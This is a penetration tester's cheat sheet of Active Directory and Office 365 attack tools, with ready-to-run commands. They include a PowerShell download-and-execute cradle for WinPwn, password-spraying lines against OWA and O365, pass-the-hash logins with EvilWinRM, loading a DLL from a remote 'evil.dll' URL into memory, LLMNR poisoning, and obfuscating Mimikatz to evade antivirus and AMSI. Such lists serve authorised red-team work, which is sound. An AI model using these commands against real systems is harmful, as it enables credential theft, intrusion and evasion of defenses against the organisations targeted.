Active Directory Pentest-Tools-Collection

AMSI

https://amsi.fail/

WinPwn

https://github.com/S3cur3Th1sSh1t/WinPwn

Import-Module .\WinPwn.ps1

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')

Ghostpack

https://github.com/GhostPack

Seatbelt, KeeThief, Rubeus, SharpUp ...

Powersploit

https://github.com/PowerShellMafia/PowerSploit

PowerView, PowerUp, Get-GPPPassword ...

Enumeration

Bloodhound

https://github.com/BloodHoundAD/BloodHound

SharpHound.exe -d testdomain.com -c all,gpolocalgroup

Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup

https://github.com/fox-it/BloodHound.py

bloodhound.py -c all

ADRecon

https://github.com/adrecon/ADRecon

To run ADRecon on a domain member host.
PS C:\> .\ADRecon.ps1

To run ADRecon on a domain member host as a different user.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>

To run ADRecon on a non-member host using LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>

Spraying-Toolkit

https://github.com/byt3bl33d3r/SprayingToolkit

Lync/Skype & OWA sprayer, wordlist-generator, naming scheme converter etc.

Spraying OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt

Spraying Lync
./atomizer lync contoso.com --user-as-pass usernames.txt

Recon mode
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon

MailSniper

https://github.com/dafthack/MailSniper

Attack OWA & EWS
Namingscheme should be like testdomain.com\schmidta or aschmidt -> check scheme with msf module

Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt

Get-ADUsernameFromEWS -EmailList email-list.txt

Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt

msspray

https://github.com/0xZDH/msspray

O365 Enum & Spray Tool

Just Enum Users without spraying. Needs a textfile with complete mailadresses user@company.com
python3 msspray.py -e -u textfile.txt --wait 10 --verbose

MSOLSpray

https://github.com/dafthack/MSOLSpray

O365 Sprayer

Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020

ExchangeRelayX

https://github.com/quickbreach/ExchangeRelayX

Attack EWS via NTLM Authentication over HTTP.

./exchangeRelayx.py -t https://mail.quickbreach.com

SharpView

https://github.com/tevora-threat/SharpView

Port of PowerView to .NET

SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential admin@test.local/password

CrossLinked

https://github.com/m8r0wn/CrossLinked

Gather Mailadresses / Users

python3 crosslinked.py -f '{first}.{last}@domain.com' company_name

Post Exploitation

impacket

https://github.com/SecureAuthCorp/impacket

Crackmapexec

https://github.com/byt3bl33d3r/CrackMapExec

Official Docu: https://mpgn.gitbook.io/crackmapexec/

SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

EvilWinRM

https://github.com/mrnamp/EvilWinRM

A tool to interact with Microsoft´s WS-Management implementation aka Powershell-Remoting from a Linux box.
Can also be used to connect with a hash instead of password.

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'

ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099

Also capable of executing C#, DLLs or donut shellcode afterwards directly in memory. The executables must be in the path set at -e argument.

Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'

Dll-loader -http -path http://10.11.12.13/evil.dll

Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin

Can also bypass AMSI, fetch Kerberos tickets and so on ...

SharpRDP

https://github.com/rasta-mouse/SharpRDP

Execute stuff over RDP. User will get a notification if multi-RDP is not enabled!

SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password

Inveigh

https://github.com/Kevin-Robertson/Inveigh

PowerShell ADIDNS/LLMNR/mDNS/NBNS/DNS spoofer and man-in-the-middle tool

Import-Module Inveigh.psm1

Invoke-Inveigh -Consoleoutput Y

Responder

https://github.com/lgandx/Responder

LLMNR/NBT-NS/mDNS Poisoner

./Responder.py -I eth0

C2

Covenant

https://github.com/cobbr/Covenant

PS-Empire

https://github.com/BC-SECURITY/Empire

PrivEsc

WinPEAS / LinPEAS

https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite

SecWiki

https://github.com/SecWiki

Exploits for Linux & Windows

PowerShDll

https://github.com/p3nt4/PowerShdll

Powershell without Powershell

rundll32 PowerShdll,main -w

PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

UACME

https://github.com/hfiref0x/UACME

Watson

https://github.com/rasta-mouse/Watson

PrivescCheck

https://github.com/itm4n/PrivescCheck

Obfuscation

PEzor

https://github.com/phra/PEzor

Obfuscate C / C++ binaries

amber

https://github.com/EgeBalci/amber

Obfuscate C / C++ binaries

Invoke-Obfuscation

https://github.com/danielbohannon/Invoke-Obfuscation

Obfuscator for PowerShell scripts.

xencrypt / BetterXencrypt

https://github.com/the-xentropy/xencrypt / https://github.com/GetRektBoy724/BetterXencrypt

Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100

Obfuscator and encrypter for PowerShell scripts.

ISESteroids

https://www.powershellgallery.com/packages/ISESteroids/2.7.1.7

Tools collection for PowerShell ISE. Obfuscation possibilities.

PS2EXE

https://gallery.technet.microsoft.com/scriptcenter/PS2EXE-GUI-Convert-e7cb69d5

Convert PS1 to EXE file.

Invoke-Sharploader

https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader

A wrapper for C# binaries that encrypts the payload and decrypts it in memory.

Encrypt binary:

Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc

Load encrypted binary from URL:

Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs

Load encrypted binary from disk with commandline arguments:

Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"

Misc

SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray

Web

JSFScan: https://github.com/KathanP19/JSFScan.sh